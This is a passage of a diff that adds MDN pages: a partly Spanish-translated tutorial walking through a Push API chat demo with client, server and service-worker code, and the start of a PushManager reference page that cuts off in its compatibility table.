+<p>To send data via a push message, it needs to be encrypted. This requires a public key created using the {{domxref("PushSubscription.getKey()")}} method, which relies upon some complex encryption mechanisms that are run server-side; read <a href="https://tools.ietf.org/html/draft-ietf-webpush-encryption-01">Message Encryption for Web Push</a> for more details. As time goes on, libraries will appear to handle key generation and encryption/decryption of push messages; for this demo we used Marco Castelluccio's NodeJS <a href="https://github.com/marco-c/web-push">web-push library</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: There is also another library to handle the encryption with a Node and Python version available, see <a href="https://github.com/martinthomson/encrypted-content-encoding">encrypted-content-encoding</a>.</p>
+</div>
+
+<h3 id="Push_workflow_summary">Push workflow summary</h3>
+
+<p>To summarize, here is what is needed to implement push messaging. You can find more details about specific parts of the demo code in subsequent sections.</p>
+
+<ol>
+ <li>Request permission for web notifications, or anything else you are using that requires permissions.</li>
+ <li>Register a service worker to control the page by calling {{domxref("ServiceWorkerContainer.register()")}}.</li>
+ <li>Subscribe to the push messaging service using {{domxref("PushManager.subscribe()")}}.</li>
+ <li>Retrieve the endpoint associated with the subscription and generate a client public key ({{domxref("PushSubscription.endpoint")}} and {{domxref("PushSubscription.getKey()")}}. Note that <code>getKey()</code> is currently experimental and Firefox only.)</li>
+ <li>Send these details to the server so it can send push message when required. This demo uses {{domxref("XMLHttpRequest")}}, but you could use <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>.</li>
+ <li>If you are using the <a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a> to comunicate with the service worker, set up a new message channel ({{domxref("MessageChannel.MessageChannel()")}}) and send <code>port2</code> over to the service worker by calling {{domxref("Worker.postMessage()")}} on the service worker, in order to open up the communication channel. You should also set up a listener to respond to messages sent back from the service worker.</li>
+ <li>On the server side, store the endpoint and any other required details so they are available when a push message needs to be sent to a push subscriber (we are using a simple text file, but you could use a database or whatever you like). In a production app, make sure you keep these details hidden, so malicious parties can't steal endpoints and spam subscribers with push messages.</li>
+ <li>To send a push message, you need to send an HTTP <code>POST</code> to the endpoint URL. The request must include a <code>TTL</code> header that limits how long the message should be queued if the user is not online. To include payload data in your request, you must encrypt it (which involves the client public key). In our demo, we are using the <a href="https://github.com/marco-c/web-push">web-push</a> module, which handles all the hard work for you.</li>
+ <li>Over in your service worker, set up a <code>push</code> event handler to respond to push messages being received.
+  <ol>
+   <li>If you want to respond by sending a channel message back to the main context (see Step 6) you need to first get a reference to the <code>port2</code> we sent over to the service worker context ({{domxref("MessagePort")}}). This is available on the {{domxref("MessageEvent")}} object passed to the <code>onmessage</code> handler ({{domxref("ServiceWorkerGlobalScope.onmessage")}}). Specifically, this is found in the <code>ports</code> property, index 0. Once this is done, you can send a message back to <code>port1</code>, using {{domxref("MessagePort.postMessage()")}}.</li>
+   <li>If you want to respond by firing a system notification, you can do this by calling {{domxref("ServiceWorkerRegistration.showNotification()")}}. Note that in our code we have run this inside an {{domxref("ExtendableEvent.waitUntil()")}} method — this extends the lifetime of the event until after the notification has been fired, so we can make sure everything has happened that we want to happen.<span id="cke_bm_307E" style="display: none;"> </span></li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Construyendo_la_demo">Construyendo la demo</h2>
+
+<p>Vamos a ensayar el código para esta demo, podemos empezar a entender como trabaja todo esto.</p>
+
+<ul>
+ <li>
+  <h3 id="HTML_y_CSS">HTML y CSS</h3>
+ </li>
+</ul>
+
+<p>No hay nada destacalbe sobre el HTML y el CSS para la demo; el HTML inicialmente contiene un simple formulario que permite introducir un udentificador para la sala de chat, un boton que al hacer click se suscribe a las notificaciones push, y dos listas con los suscriptores y los mensajes. Una vez suscrito, aparecerán controles adicionales para permitir al usuario actual escribir mensajes en el chat.</p>
+
+<p>El CSS ha sido muy minimo para no desvirtuar la explicación de la funcionalidad Push Api.</p>
+
+<ul>
+ <li>
+  <h3 id="El_archivo_JavaScript_principal">El archivo JavaScript principal</h3>
+ </li>
+</ul>
+
+<p>El JavaScript es obviamente más sustancial. Echemos un vistazo al archivo JavaScript principal.</p>
+
+<h4 id="Variables_y_configuración_inicial">Variables y configuración inicial</h4>
+
+<p>Para iniciar, nosotros declaramos algunas variables a usar en nuestra app:</p>
+
+<pre class="brush: js">var isPushEnabled = false;
+var useNotifications = false;
+
+var subBtn = document.querySelector('.subscribe');
+var sendBtn;
+var sendInput;
+
+var controlsBlock = document.querySelector('.controls');
+var subscribersList = document.querySelector('.subscribers ul');
+var messagesList = document.querySelector('.messages ul');
+
+var nameForm = document.querySelector('#form');
+var nameInput = document.querySelector('#name-input');
+nameForm.onsubmit = function(e) {
+  e.preventDefault()
+};
+nameInput.value = 'Bob';</pre>
+
+<p>Primero, tenemos dos boleanos para hacer un seguimiento si se a suscrito a push, y si ha permitido las notificaciones.</p>
+
+<p>A continuación, tomamos una referencia al suscrito/no-suscrito <code>{{htmlelement("button")}}</code>, y se declaran variables para almacenar referencias a nuestro mensaje enviado boton/entrada (sólo se crean cuando la suscripsión es correcta.)</p>
+
+<p>Las siguientes variables toman referencia a los trés elementos principales <code>{{htmlelement("div")}}</code> en el diseño, por lo que podemos insertar elementos en ellos (por ejemplo cuando aparezca el botón <em>envíar el mensaje de chat</em> o el mensaje de chat aparezca en la lista de <em>mensajes</em>.)</p>
+
+<p>Finalmente tomamos referencia a nuestro formulario de selección de nombre y el elemento <code>{{htmlelement("input")}},</code> damos a la entrada un valor por defecto, y usamos <code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code> para detener el envío del formulario cuando este es enviado pulsando return.</p>
+
+<p>A continuación, pedimos permiso para enviar las notificaciones web, usando <code>{{domxref("Notification.requestPermission","requestPermission()")}}</code>:</p>
+
+<pre class="brush: js">Notification.requestPermission();</pre>
+
+<p>Ahora ejecutamos una sección de código cuando se dispara el <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onload">onload</a></code>, para empezar el proceso de inicialización de la app cuando se carga pro primera vez. En primer lugar añadimos un detector de eventos de clik al botón  Sucribirse/unsubscribe que ejecuta nuestra funcion <code>unsubscribe()</code> si actualmente estamos suscritos (<code>isPushEnabled</code> is <code>true</code>), y <code>subscribe()</code> de la otra manera:</p>
+
+<pre class="brush: js">window.addEventListener('load', function() {
+  subBtn.addEventListener('click', function() {
+    if (isPushEnabled) {
+      unsubscribe();
+    } else {
+      subscribe();
+    }
+  });</pre>
+
+<p>A continuación verificamos el service worked es soportado. Si es así, registramos un service worker usando <code>{{domxref("ServiceWorkerContainer.register()")}}</code>, y ejecutando nuestra función <code>initialiseState()</code>. Si no es así, entregamos un mensaje de error a la consola.</p>
+
+<pre class="brush: js">  // Check that service workers are supported, if so, progressively
+  // enhance and add push messaging support, otherwise continue without it.
+  if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('sw.js').then(function(reg) {
+      if(reg.installing) {
+        console.log('Service worker installing');
+      } else if(reg.waiting) {
+        console.log('Service worker installed');
+      } else if(reg.active) {
+        console.log('Service worker active');
+      }
+
+      initialiseState(reg);
+    });
+  } else {
+    console.log('Service workers aren\'t supported in this browser.');
+  }
+});
+</pre>
+
+<p>La siguiente cosa en el código es la función <code>initialiseState()</code> — para el codigo completo comentado, mira en <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js"><code>initialiseState()</code> source on Github</a> (no lo estamos repitiendo aquí por brevedad.)</p>
+
+<p><code>initialiseState()</code> primero comprueba si las notificaciones son soportadas en los service workers, entonces establece la variable  <code>useNotifications</code> a verdadero. A continuación comprueba si dichas notificaciones están permitidas por el usuario y si los mensajes push están soportados, y reacciona deacuerdo a cada uno.</p>
+
+<p>Finalmente, se usa <code>{{domxref("ServiceWorkerContainer.ready()")}}</code> para esperar a que el service worker esté activo y listo para hacer las cosas. Una vez se revuelva el promise, recuperamos nuestra suscripsión para enviar los mensajes push usando la propiedad <code>{{domxref("ServiceWorkerRegistration.pushManager")}}</code>, que devuelve un objeto <code>{{domxref("PushManager")}}</code> cuando llamamos a <code>{{domxref("PushManager.getSubscription()")}}</code>. Una vez la segunda promesa interna se resuelva, habilitamos el botón subscribe/unsubscribe (<code>subBtn.disabled = false;</code>), y verificamos que tenemos un objeto suscripsión para trabajar.</p>
+
+<p>Si lo hacemos, entonces ya estamos suscritos. Esto es posible cuando la app no está abierta en el navegador; el service worker aun puede ser activado en segundo plano. si estamos suscritos, actualizamos la UI para mostrar que estamos suscritos por la actualizacion del label en el botón, entonces establecemos <code>isPushEnabled</code> to <code>true</code>, toma el punto final de suscripsión desde <code>{{domxref("PushSubscription.endpoint")}}</code>, genera una public key usando <code>{{domxref("PushSubscription.getKey()")}}</code>, y ejecutando nuestra función <code>updateStatus()</code>, que como verá más adelante se comunica con el servidor.</p>
+
+<p>Como un bonus añadido, configuramos un nuevo <code>{{domxref("MessageChannel")}}</code> usando el constructor <code>{{domxref("MessageChannel.MessageChannel()")}}</code>, toma una referencia al service worker activo usando <code>{{domxref("ServiceworkerRegistration.active")}}</code>, luego configure un canal entre el contexto principal del navegador y el contexto del service worker usando <code>{{domxref("Worker.postMessage()")}}</code>. El contexto del navegador recive mensajes en <code>{{domxref("MessageChannel.port1")}}</code>; Cuando esto suceda, ejecutamos la función <code>handleChannelMessage()</code> para decidir que hacer con esos datos (mirar la sección <code>{{anch("Handling channel messages sent from the service worker")}}</code> ).</p>
+
+<h4 id="Subscribing_and_unsubscribing">Subscribing and unsubscribing</h4>
+
+<p>Ahora regresamos la atención a las funciones <code>subscribe()</code> y <code>unsubscribe()</code> usadas para subscribe/unsubscribe al servicion de notificaciones push.</p>
+
+<p>In the case of subscription, we again check that our service worker is active and ready by calling {{domxref("ServiceWorkerContainer.ready()")}}. When the promise resolves, we subscribe to the service using {{domxref("PushManager.subscribe()")}}. If the subscription is successful, we get a {{domxref("PushSubscription")}} object, extract the subscription endpoint from this and generate a public key (again, {{domxref("PushSubscription.endpoint")}} and {{domxref("PushSubscription.getKey()")}}), and pass them to our <code>updateStatus()</code> function along with the update type (<code>subscribe</code>) to send the necessary details to the server.</p>
+
+<p>We also make the necessary updates to the app state (set <code>isPushEnabled</code> to <code>true</code>) and UI (enable the subscribe/unsubscribe button and set its label text to show that the next time it is pressed it will unsubscribe.)</p>
+
+<p>The <code>unsubscribe()</code> function is pretty similar in structure, but it basically does the opposite; the most notable difference is that it gets the current subscription using {{domxref("PushManager.getSubscription()")}}, and when that promise resolves it unsubscribes using {{domxref("PushSubscription.unsubscribe()")}}.</p>
+
+<p>Appropriate error handling is also provided in both functions.  </p>
+
+<p>We only show the <code>subscribe()</code> code below, for brevity; see the full <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js">subscribe/unsubscribe code on Github</a>.</p>
+
+<pre class="brush: js">function subscribe() {
+  // Disable the button so it can't be changed while
+  // we process the permission request
+
+  subBtn.disabled = true;
+
+  navigator.serviceWorker.ready.then(function(reg) {
+    reg.pushManager.subscribe({userVisibleOnly: true})
+      .then(function(subscription) {
+        // The subscription was successful
+        isPushEnabled = true;
+        subBtn.textContent = 'Unsubscribe from Push Messaging';
+        subBtn.disabled = false;
+
+        // Update status to subscribe current user on server, and to let
+        // other users know this user has subscribed
+        var endpoint = subscription.endpoint;
+        var key = subscription.getKey('p256dh');
+        updateStatus(endpoint,key,'subscribe');
+      })
+      .catch(function(e) {
+        if (Notification.permission === 'denied') {
+          // The user denied the notification permission which
+          // means we failed to subscribe and the user will need
+          // to manually change the notification permission to
+          // subscribe to push messages
+          console.log('Permission for Notifications was denied');
+
+        } else {
+          // A problem occurred with the subscription, this can
+          // often be down to an issue or lack of the gcm_sender_id
+          // and / or gcm_user_visible_only
+          console.log('Unable to subscribe to push.', e);
+          subBtn.disabled = false;
+          subBtn.textContent = 'Subscribe to Push Messaging';
+        }
+      });
+  });
+}</pre>
+
+<h4 id="Updating_the_status_in_the_app_and_server">Updating the status in the app and server</h4>
+
+<p>The next function in our main JavaScript is <code>updateStatus()</code>, which updates the UI for sending chat messages when subscribing/unsubscribing and sends a request to update this information on the server.</p>
+
+<p>The function does one of three different things, depending on the value of the <code>statusType</code> parameter passed into it:</p>
+
+<ul>
+ <li><code>subscribe</code>: The button and text input for sending chat messages are created and inserted into the UI, and an object is sent to the server via XHR containing the status type (<code>subscribe</code>), username of the subscriber, subscription endpoint, and client public key.</li>
+ <li><code>unsubscribe</code>: This basically works in the opposite way to subscribe — the chat UI elements are removed, and an object is sent to the server to tell it that the user has unsubscribed.</li>
+ <li><code>init</code>: This is run when the app is first loaded/initialised — it creates the chat UI elements, and sends an object to the server to tell it that which user has reinitialised (reloaded.)</li>
+</ul>
+
+<p>Again, we have not included the entire function listing for brevity. Examine the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js">full <code>updateStatus()</code> code on Github</a>.</p>
+
+<h4 id="Handling_channel_messages_sent_from_the_service_worker">Handling channel messages sent from the service worker</h4>
+
+<p>As mentioned earlier, when a <a href="/en-US/docs/Web/API/Channel_Messaging_API">channel message</a> is received from the service worker, our <code>handleChannelMessage()</code> function is called to handle it. This is done by our handler for the {{event("message")}} event, {{domxref("channel.port1.onmessage")}}:</p>
+
+<pre class="brush: js">channel.port1.onmessage = function(e) {
+  handleChannelMessage(e.data);
+}</pre>
+
+<p>This occurs when the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/sw.js#L8">service worker sends a channel message over</a>.</p>
+
+<p>The <code>handleChannelMessage()</code> function looks like this:</p>
+
+<pre class="brush: js">function handleChannelMessage(data) {
+  if(data.action === 'subscribe' || data.action === 'init') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name;
+    subscribersList.appendChild(listItem);
+  } else if(data.action === 'unsubscribe') {
+    for(i = 0; i &lt; subscribersList.children.length; i++) {
+      if(subscribersList.children[i].textContent === data.name) {
+        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
+      }
+    }
+    nameInput.disabled = false;
+  } else if(data.action === 'chatMsg') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name + ": " + data.msg;
+    messagesList.appendChild(listItem);
+    sendInput.value = '';
+  }
+}</pre>
+
+<p>What happens here depends on what the <code>action</code> property on the <code>data</code> object is set to:</p>
+
+<ul>
+ <li><code>subscribe</code> or <code>init</code> (at both startup and restart, we need to do the same thing in this sample): An {{htmlelement("li")}} element is created, its text content is set to <code>data.name</code> (the name of the subscriber), and it is appended to the subscribers list (a simple {{htmlelement("ul")}} element) so there is visual feedback that a subscriber has (re)joined the chat.</li>
+ <li><code>unsubscribe</code>: We loop through the children of the subscribers list, find the one whose text content is equal to <code>data.name</code> (the name of the unsubscriber), and delete that node to provide visual feedback that someone has unsubscribed.</li>
+ <li><code>chatMsg</code>: In a similar manner to the first case, an {{htmlelement("li")}} element is created, its text content is set to <code>data.name + ": " + data.msg</code> (so for example "Chris: This is my message"), and it is appended to the chat messages list; this is how the chat messages appear on the UI for each user.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: We have to pass the data back to the main context before we do DOM updates because service workers don't have access to the DOM. You should be aware of the limitations of service workers before attemping to ue them. Read <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a> for more details.</p>
+</div>
+
+<h4 id="Sending_chat_messages">Sending chat messages</h4>
+
+<p>When the <em>Send Chat Message</em> button is clicked, the content of the associated text field is sent as a chat message. This is handled by the <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js"><code>sendChatMessage()</code> function</a> (again, not shown in full for brevity). This works in a similar way to the different parts of the <code>updateStatus()</code> function (see {{anch("Updating the status in the app and server")}}) — we retrieve an endpoint and public key via a {{domxref("PushSubscription")}} object, which is itself retrieved via {{domxref("ServiceWorkerContainer.ready()")}} and {{domxref("PushManager.subscribe()")}}. These are sent to the server via {{domxref("XMLHttpRequest")}} in a message object, along with the name of the subscribed user, the chat message to send, and a <code>statusType</code> of <code>chatMsg</code>.</p>
+
+<h3 id="The_server">The server</h3>
+
+<p>As mentioned above, we need a server-side component in our app, to handle storing subscription details, and send out push messages when updates occur. We've hacked together a quick-and-dirty server using <a href="http://nodejs.org/">NodeJS</a> (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/server.js">server.js</a></code>), which handles the XHR requests sent by our client-side JavaScript code.</p>
+
+<p>It uses a text file (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/endpoint.txt">endpoint.txt</a></code>) to store subscription details; this file starts out empty. There are four different types of request, marked by the <code>statusType</code> property of the object sent over in the request; these are the same as those understood client-side, and perform the required server actions for that same situation. Here's what each means in the context of the server:</p>
+
+<ul>
+ <li><code>subscribe</code>: The server adds the new subscriber's details into the subscription data store (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/endpoint.txt">endpoint.txt</a></code>), including the endpoint, and then sends a push message to all the endpoints it has stored to tell each subscriber that someone new has joined the chat.</li>
+ <li><code>unsubscribe</code>: The server finds the sending subscriber's details in the subscription store and removes it, then sends a push message to all remaining subscribers telling them the user has unsubscribed.</li>
+ <li><code>init</code>: The server reads all the current subscribers from the text file, and sends each one a push message to tell them a user has initialized (rejoined) the chat.</li>
+ <li><code>chatMsg</code>: Sent by a subscriber that wishes to deliver a message to all users; the server reads the list of all current subscribers from the subscription store file, then sends each one a push message containing the new chat message they should display.</li>
+</ul>
+
+<p>A couple more things to note:</p>
+
+<ul>
+ <li>We are using the Node.js <a href="https://nodejs.org/api/https.html">https module</a> to create the server, because for security purposes, service workers only work on a secure connection. This is why we need to include the <code>.pfx</code> security cert in the app, and reference it when creating the server in the Node code.</li>
+ <li>When you send a push message without data, you simply send it to the endpoint URL using an HTTP <code>POST</code> request. However, when the push message contains data, you need to encrypt it, which is quite a complex process. As time goes on, libraries will appear to do this kind of thing for you; for this demo we used Marco Castelluccio's NodeJS <a href="https://github.com/marco-c/web-push">web-push library</a>. Have a look at the source code to get more of an idea of how the encryption is done (and read <a href="https://tools.ietf.org/html/draft-ietf-webpush-encryption-01">Message Encryption for Web Push</a> for more details.) The library <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/server.js#L43-L46">makes sending a push message simple</a>.</li>
+ <li>If you wish to have messages that collapse (newer updates will replace older updates), you can use the Topic feature. A topic is a special class of subscription update that has a <code>Topic</code> header. A topic name can be any URL safe, base64 string. For example, a header like "<code>Topic: MyFavoriteTopic-For2016</code>" is fine, but "<code>Topic: OMG! Kitties :)</code>" is not. Topic messages are collapsed when the subscriber is offline or unavailable. When they come back, they will receive only the lastest message per topic, along with whatever other messages are pending. "<a href="https://hacks.mozilla.org/2016/11/mozilla-push-server-now-supports-topics/">Mozilla Push Server now supports Topics</a>" on the Mozilla Hacks blog gives more details and examples.</li>
+</ul>
+
+<h3 id="The_service_worker">The service worker</h3>
+
+<p>Now let's have a look at the service worker code (<code><a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/sw.js">sw.js</a></code>), which responds to the push messages, represented by {{Event("push")}} events. These are handled on the service worker's scope by the ({{domxref("ServiceWorkerGlobalScope.onpush")}}) event handler; its job is to work out what to do in response to each received message. We first convert the received message back into an object by calling {{domxref("PushMessageData.json()")}}. Next, we check what type of push message it is, by looking at the object's <code>action</code> property:</p>
+
+<ul>
+ <li><code>subscribe</code> or <code>unsubscribe</code>: We send a system notification via the <code>fireNotification()</code> function, but also send a message back to the main context on our {{domxref("MessageChannel")}} so we can update the subscriber list accordingly (see {{anch("Handling channel messages sent from the service worker")}} for more details).</li>
+ <li><code>init</code> or <code>chatMsg</code>: We just send a channel message back to the main context to handle the <code>init</code> and <code>chatMsg</code> cases (these don't need a system notification).</li>
+</ul>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});</pre>
+
+<p>Next, let's look at the <code>fireNotification()</code> function (which is blissfully pretty simple).</p>
+
+<pre class="brush: js">function fireNotification(obj, event) {
+  var title = 'Subscription change';
+  var body = obj.name + ' has ' + obj.action + 'd.';
+  var icon = 'push-icon.png';
+  var tag = 'push';
+
+  event.waitUntil(self.registration.showNotification(title, {
+    body: body,
+    icon: icon,
+    tag: tag
+  }));
+}</pre>
+
+<p>Here we assemble the assets needed by the notification box: the title, body, and icon. Then we send a notification via the {{domxref("ServiceWorkerRegistration.showNotification()")}} method, providing that information as well as the tag "push", which we can use to identify this notification among any other notifications we might be using. When the notification is successfully sent, it manifests as a system notification dialog on the users computers/devices in whatever style system notifications look like on those systems (the following image shows a Mac OSX system notification.)</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11855/subscribe-notification.png" style="display: block; height: 65px; margin: 0px auto; width: 326px;"></p>
+
+<p>Note that we do this from inside an {{domxref("ExtendableEvent.waitUntil()")}} method; this is to make sure the service worker remains active until the notification has been sent. <code>waitUntil()</code> will extend the life cycle of the service worker until everything inside this method has completed.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as <code>Clients.openWindow()</code>) is properly implemented (see {{bug(1203324)}} for more details.)</p>
+</div>
+
+<h2 id="Handling_premature_subscription_expiration">Handling premature subscription expiration</h2>
+
+<p>Sometimes push subscriptions expire prematurely, without {{domxref("PushSubscription.unsubscribe()")}} being called. This can happen when the server gets overloaded, or if you are offline for a long time, for example.  This is highly server-dependent, so the exact behavior is difficult to predict. In any case, you can handle this problem by watching for the {{Event("pushsubscriptionchange")}} event, which you can listen for by providing a {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} event handler; this event is fired only in this specific case.</p>
+
+<pre class="brush: js  language-js"><code class="language-js">self<span class="punctuation token">.</span><span class="function token">addEventListener<span class="punctuation token">(</span></span><span class="string token">'pushsubscriptionchange'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token"> // do something, usually resubscribe to push and
+</span> <span class="comment token"> // send the new subscription details back to the
+</span> <span class="comment token"> // server via XHR or Fetch
+</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Note that we don't cover this case in our demo, as a subscription ending is not a big deal for a simple chat server. But for a more complex example you'd probably want to resubscribe the user.</p>
+
+<h2 id="Extra_steps_for_Chrome_support">Extra steps for Chrome support</h2>
+
+<p>To get the app working on Chrome, we need a few extra steps, as Chrome currently relies on Google's Cloud Messaging service to work.</p>
+
+<h3 id="Setting_up_Google_Cloud_Messaging">Setting up Google Cloud Messaging</h3>
+
+<p>To get this set up, follow these steps:</p>
+
+<ol>
+ <li>Navigate to the <a href="https://console.developers.google.com">Google Developers Console</a>  and set up a new project.</li>
+ <li>Go to your project's homepage (ours is at <code>https://console.developers.google.com/project/push-project-978</code>, for example), then
+  <ol>
+   <li>Select the <em>Enable Google APIs for use in your apps</em> option.</li>
+   <li>In the next screen, click <em>Cloud Messaging for Android</em> under the <em>Mobile APIs</em> section.</li>
+   <li>Click the <em>Enable API</em> button.</li>
+  </ol>
+ </li>
+ <li>Now you need to make a note of your project number and API key because you'll need them later. To find them:
+  <ol>
+   <li><strong>Project number</strong>: click <em>Home</em> on the left; the project number is clearly marked at the top of your project's home page.</li>
+   <li><strong>API key</strong>: click <em>Credentials</em> on the left hand menu; the API key can be found on that screen.</li>
+  </ol>
+ </li>
+</ol>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>You need to include a Google app-style <code>manifest.json</code> file in your app, which references the project number you made a note of earlier in the <code>gcm_sender_id</code> parameter. Here is our simple example <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/manifest.json">manifest.json</a>:</p>
+
+<pre class="brush: js">{
+  "name": "Push Demo",
+  "short_name": "Push Demo",
+  "icons": [{
+        "src": "push-icon.png",
+        "sizes": "111x111",
+        "type": "image/png"
+      }],
+  "start_url": "/index.html",
+  "display": "standalone",
+  "gcm_sender_id": "224273183921"
+}</pre>
+
+<p>You also need to reference your manifest using a {{HTMLElement("link")}} element in your HTML:</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="manifest.json"&gt;</pre>
+
+<h3 id="userVisibleOnly">userVisibleOnly</h3>
+
+<p>Chrome requires you to set the <a href="/en-US/docs/Web/API/PushManager/subscribe#Parameters"><code>userVisibleOnly</code> parameter</a> to <code>true</code> when subscribing to the push service, which indicates that we are promising to show a notification whenever a push is received. This can be <a href="https://github.com/chrisdavidmills/push-api-demo/blob/gh-pages/main.js#L127">seen in action in our <code>subscribe()</code> function</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API">Push API</a></li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in <a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>. Thanks for the awesome work, Matt!</p>
+</div>
diff --git a/files/es/web/api/pushmanager/index.html b/files/es/web/api/pushmanager/index.html
new file mode 100644
index 0000000000..2e42155112
--- /dev/null
+++ b/files/es/web/api/pushmanager/index.html
@@ -0,0 +1,161 @@
+---
+title: PushManager
+slug: Web/API/PushManager
+tags:
+  - API
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Push
+  - Push API
+  - Reference
+  - Service Workers
+  - TopicStub
+  - WebAPI
+translation_of: Web/API/PushManager
+---
+<p>{{SeeCompatTable}}{{ApiRef("Push API")}}</p>
+
+<p>The <code>PushManager</code> interface of the <a href="/en-US/docs/Web/API/Push_API">Push API</a> provides a way to receive notifications from third-party servers as well as request URLs for push notifications.</p>
+
+<p>This interface is accessed via the {{domxref("ServiceWorkerRegistration.pushManager")}} property.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This interface replaces functionality previously offered by the obsolete {{domxref("PushRegistrationManager")}} interface.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>None.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.getSubscription()")}}</dt>
+ <dd>Retrieves an existing push subscription. It returns a {{jsxref("Promise")}} that resolves to a {{domxref("PushSubscription")}} object containing details of an existing subscription. If no existing subscription exists, this resolves to a <code>null</code> value.</dd>
+ <dt>{{domxref("PushManager.permissionState()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to the permission state of the current {{domxref("PushManager")}}, which will be one of <code>'granted'</code>, <code>'denied'</code>, or <code>'default'</code>.</dd>
+ <dt>{{domxref("PushManager.subscribe()")}}</dt>
+ <dd>Subscribes to a push service. It returns a {{jsxref("Promise")}} that resolves to a {{domxref("PushSubscription")}} object containing details of a push subscription. A new push subscription is created if the current service worker does not have an existing subscription.</dd>
+</dl>
+
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("PushManager.hasPermission()")}} {{deprecated_inline}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to the <code>PushPermissionStatus</code> of the requesting webapp, which will be one of <code>granted</code>, <code>denied</code>, or <code>default</code>. Replaced by {{domxref("PushManager.permissionState()")}}.</dd>
+ <dt>{{domxref("PushManager.register()")}} {{deprecated_inline}}</dt>
+ <dd>Subscribes to a push subscription. Replaced by {{domxref("PushManager.subscribe()")}}.</dd>
+ <dt>{{domxref("PushManager.registrations()")}} {{deprecated_inline}}</dt>
+ <dd>Retrieves existing push subscriptions. Replaced by {{domxref("PushManager.getSubscription()")}}.</dd>
+ <dt>{{domxref("PushManager.unregister()")}} {{deprecated_inline}}</dt>
+ <dd>Unregisters and deletes a specified subscription endpoint. In the updated API, a subscription is unregistered by calling the {{domxref("PushSubscription.unsubscribe()")}} method.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">this.onpush = function(event) {
+  console.log(event.data);
+  // From here we can write the data to IndexedDB, send it to any open
+  // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // The push subscription details needed by the application
+        // server are now available, and can be sent to it using,
+        // for example, an XMLHttpRequest.
+      }, function(error) {
+        // During development it often helps to log errors to the
+        // console. In a production environment it might make sense to
+        // also report information about errors back to the
+        // application server.
+        console.log(error);
+      }
+    );
+  });</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API','#pushmanager-interface','PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}</td>
+   <td>{{CompatNo}}</td>
